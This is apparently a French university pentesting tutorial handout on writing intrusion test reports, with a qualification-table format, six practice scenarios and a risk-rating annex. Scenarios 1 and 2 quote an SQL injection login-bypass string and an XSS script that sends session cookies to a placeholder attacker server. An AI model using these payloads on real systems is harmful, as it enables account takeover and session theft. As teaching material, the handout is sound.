TD

Cette séance de travail dirigé vise à vous donner les moyens de réaliser un rapport de test d'intrusion et préparer une restitution managériale, choses que vous devrez présenter durant votre soutenance.

#1 : Examen final & Soutenance

Vous serez évalué en deux temps, à travers un examen et une soutenance.

Concernant l'examen…

Tous les éléments étudiés en cours et TD sont concernées.

Concernant la soutenance…
A partir du premier TP, vous commencerez à travailler sur votre soutenance. L'objectif est de vous positionner en tant « pentester » (*penetration tester)*, l'enseignant prendra la place du client. Vous aurez alors un test d'intrusion complet sur plusieurs cibles. Il vous faudra ensuite retracer votre travail et vos résultats dans un rapport de test d'intrusion (PDF). Vous présenterez ensuite vos résultats oralement durant la soutenance à l'aide d'un support de présentation (Powerpoint).
Durant la soutenance, le client se comportera comme un Responsable métier avec peu de connaissances en matière de sécurité informatique. Vous devrez donc adapter votre discours afin qu'il ne soit pas purement technique. C'est pour cette raison que l'on parle de restitution managériale.

Par exemple :

- Phrase technique : Il y a une XSS dans le champ *user* de la page d'accueil. On peut voler les cookies donc devenir administrateur de l'application web. Pour la corriger, il faut utiliser la fonction d'échappement htmlspecialchars().
- Phrase non-technique : Une vulnérabilité touche le système d'authentification. Elle permet à un attaquant de prendre le contrôle des sessions des autres utilisateurs. Des légers changements au sein du code source de l'application sont à prévoir.

Notation…

L'évaluation du rapport sera principalement basée sur votre travail d'intrusion :

- Vos conclusions par rapport à vos trouvailles ;
- Les vulnérabilités identifiées et l'exploitation faite ;
- La qualification des vulnérabilités exploitées (risque, impact, recommandations…) ;

- La clarté de vos explications et méthodes de test.

L'évaluation de la soutenance sera principalement basée sur :

- Votre capacité à synthétiser des problématiques techniques de telle sorte qu'un interlocuteur non technique les comprend ;
- Vos réponses aux questions posées.

Des points bonus (au maximum 3) sont attribués aux élèves remplissant les conditions suivantes :

- Un score supérieur à 1000 sur root-me.org ajoute un 1 point bonus sur la note finale de soutenance. Un score supérieur à 1300 entraîne ajoute 2 points bonus sur la note finale de la soutenance.
- L'obtention de deux flags « root » sur des machines actives de hackthebox.eu ajoute 1 point bonus sur la note finale de soutenance.

Livraison…

Le rapport doit être envoyé une semaine avant la date de soutenance du 7/12/2018. La date limite d'envoi du rapport de test d'intrusion est donc fixée au 30/11/2018 à 23h59. Dès minuit, les retardataires perdront un point par heure sur la note finale de la soutenance (envoyé à 1AM = -2 points).

#2 : Qualification de vulnérabilités

Que ce soit au sein du rapport ou dans votre présentation, vous devrez présenter les vulnérabilités rencontrées, les qualifier. La qualification est une analyse de la vulnérabilité afin d'identifier ses caractéristiques, son impact, son risque, etc.

Pour ce faire, vous aurez deux outils :

- Les tableaux de vulnérabilité et de recommandation.
- Le calculateur de score de criticité CVSS (https://www.first.org/cvss/calculator/3.0)

Tableau de vulnérabilité et tableau de recommandation :

ID – Mineur/Majeur/Important/Critique	**Titre de la vulnérabilité**	**Score CVSS 1-10**
Description de la vulnérabilité et de son impact. Impact DICP : La vulnérabilité impact le système en termes de confidentialité et d'intégrité.		
Nature	**Facilité d'exploitation**	**Impact**
Technique/Organisationnel	Facile/Modérée/Elevée/Difficile	Mineur/Important/Majeur/Critique

ID	**Titre de la recommandation**

Description de la recommandation	
Priorité de traitement	**Difficulté de mise en œuvre**
Faible/Moyenne/Elevée	Faible/Moyenne/Complexe

Afin de vous entraîner, qualifiez les vulnérabilités suivantes :

1. Dans le cadre du programme Bug Bounty de Google, vous avez trouvé une vulnérabilité de type SQLi sur la page d'authentification de Gmail. En rajoutant à la fin de votre mot de passe la chaîne de caractère ' or '456'='456' - - vous parvenez à vous connecter à n'importe quel compte dont vous connaissez le nom d'utilisateur. Qualifiez cette vulnérabilité.

ID : V1	**Titre :**	**Score CVSS = Mineur/Majeur /Important/Critique**
Description : Impact DICP :		
Nature	**Facilité d'exploitation**	**Impact**
Technique/Organisationnel	Facile/Modérée/Elevée/Difficile	Mineur/Important/Majeur/Critique

ID : R1	**Titre :**
Description :	
Priorité de traitement	**Difficulté de mise en œuvre**
Faible/Moyenne/Elevée	Faible/Moyenne/Complexe

2. En échangeant avec vos collègues développeurs, vous avez trouvé une vulnérabilité de type XSS dans les mails de Yahoo. En insérant dans le mail le code suivant :

   <script>document.location=''IP_SERVEUR_ATTAQUE/ ?cookie=''+document.cookie </script>

   Vous parvenez à récupérer le cookie de session de l'utilisateur qui aura lu votre mail. Qualifiez la vulnérabilité.

ID : V2	**Titre :**	**Score CVSS = Mineur/Majeur /Important/Critique**
Description : Impact DICP :		
Nature	**Facilité d'exploitation**	**Impact**
Technique/Organisationnel	Facile/Modérée/Elevée/Difficile	Mineur/Important/Majeur/Critique

ID : R2	Titre :
Description :	
Priorité de traitement	**Difficulté de mise en œuvre**
Faible/Moyenne/Elevée	Faible/Moyenne/Complexe

3. Dans le cadre du programme Bug Bounty de Pornhub, vous et trois camarades avez découvert une 0day dans PHP. Pour l'exploiter, il suffit d'envoyer à la fonction d'upload d'images un fichier que vous avez spécialement fabriquez durant vos trois mois d'investigation. L'exploitation réussie, vous a pu devenir root sur un serveur de production. Qualifiez la vulnérabilité.

ID : V3	Titre :	Score CVSS = Mineur/Majeur /Important/Critique
Description : Impact DICP :		
Nature	**Facilité d'exploitation**	**Impact**
Technique/Organisationnel	Facile/Modérée/Elevée/Difficile	Mineur/Important/Majeur/Critique

ID : R3	Titre :
Description :	
Priorité de traitement	**Difficulté de mise en œuvre**
Faible/Moyenne/Elevée	Faible/Moyenne/Complexe

4. Alors que vous êtes en entreprise, vous avez besoin d'ouvrir un ticket auprès du Helpdesk. Vous remarquez qu'il est possible de joindre un fichier HTML en pièce-jointe du ticket. Après quelques essais, vous découvrez une faille CSRF en insérant un formulaire dans le fichier HTML. Ce formulaire permet de créer un compte opérateur lorsqu'un opérateur visionne la pièce-jointe. Qualifiez la vulnérabilité.

ID : V4	Titre :	Score CVSS = Mineur/Majeur /Important/Critique
Description : Impact DICP :		
Nature	**Facilité d'exploitation**	**Impact**
Technique/Organisationnel	Facile/Modérée/Elevée/Difficile	Mineur/Important/Majeur/Critique

ID : R4	Titre :
Description :	
Priorité de traitement	**Difficulté de mise en œuvre**
Faible/Moyenne/Elevée	Faible/Moyenne/Complexe

5. Au cours de la phase de reconnaissance d'un test d'intrusion, vous identifiez sur le serveur d'intranet la présence du service telnet (TCP 23). Après plusieurs recherches concernant ce protocole et sa version, vous ne trouvez pas de quoi exploiter ce service. Qualifiez la vulnérabilité.

ID : V5	Titre :	Score CVSS = Mineur/Majeur /Important/Critique
Description : Impact DICP :		
Nature	**Facilité d'exploitation**	**Impact**
Technique/Organisationnel	Facile/Modérée/Elevée/Difficile	Mineur/Important/Majeur/Critique

ID : R5	Titre :
Description :	
Priorité de traitement	**Difficulté de mise en œuvre**
Faible/Moyenne/Elevée	Faible/Moyenne/Complexe

6. Un lanceur d'alerte annonce que son gouvernement est parvenu à construire un ordinateur quantique en mesure de casser l'algorithme RSA. Qualifiez la vulnérabilité.

ID : V6	Titre :	Score CVSS = Mineur/Majeur /Important/Critique
Description : Impact DICP :		
Nature	**Facilité d'exploitation**	**Impact**
Technique/Organisationnel	Facile/Modérée/Elevée/Difficile	Mineur/Important/Majeur/Critique

ID : R6	Titre :
Description :	
Priorité de traitement	**Difficulté de mise en œuvre**
Faible/Moyenne/Elevée	Faible/Moyenne/Complexe

#Annexe : métriques

Les vulnérabilités, qu'elles soient d'origine technique ou organisationnelle, sont classées en fonction du risque qu'elles font peser sur le système d'information, c'est-à-dire en fonction de l'impact de la vulnérabilité sur le système d'information et de sa difficulté d'exploitation.

Le **niveau du risque** lié à chaque vulnérabilité est apprécié selon l'échelle de valeur suivante :

- ✓ ***Mineur*** : faible risque sur le système d'information et pouvant nécessiter une correction ;
- ✓ ***Important*** : risque modéré sur le système d'information et nécessitant une correction à moyen terme ;
- ✓ ***Majeur*** : risque majeur sur le système d'information nécessitant une correction à court terme ;
- ✓ ***Critique*** : risque critique sur le système d'information et nécessitant une correction immédiate ou imposant un arrêt immédiat du service.

La **facilité d'exploitation** correspond au niveau d'expertise et aux moyens nécessaires à la réalisation de l'attaque. Elle est appréciée selon l'échelle suivante :

- ✓ ***Facile*** : exploitation triviale, sans outil particulier ;
- ✓ ***Modérée*** : exploitation nécessitant des techniques simples et des outils disponibles publiquement ;
- ✓ ***Elevée*** : exploitation de vulnérabilités publiques nécessitant des compétences en sécurité des systèmes d'information et le développement d'outils simples ;
- ✓ ***Difficile*** : exploitation de vulnérabilités non publiées nécessitant une expertise en sécurité des systèmes d'information et le développement d'outils spécifiques et ciblés.

L'**impact** correspond aux conséquences que l'exploitation de la vulnérabilité peut entrainer sur le système d'information de l'audité. Il est apprécié selon l'échelle suivante :

- ✓ ***Mineur*** : pas de conséquence directe sur la sécurité du système d'information audité ;
- ✓ ***Important*** : conséquences isolées sur des points précis du système d'information audité ;
- ✓ ***Majeur*** : conséquences restreintes sur une partie du système d'information audité ;
- ✓ ***Critique*** : conséquences généralisées sur l'ensemble du système d'information audité.

Le tableau suivant indique le niveau de risque inhérent à chaque vulnérabilité découverte, en fonction de leur difficulté d'exploitation et de leur impact présumé :

Facilité d'exploitation / Impact	**Difficile**	**Elevée**	**Modérée**	**Facile**
Mineur	Mineur	Mineur	Important	Majeur
Important	Mineur	Important	Important	Majeur
Majeur	Important	Majeur	Majeur	Critique
Critique	Important	Majeur	Critique	Critique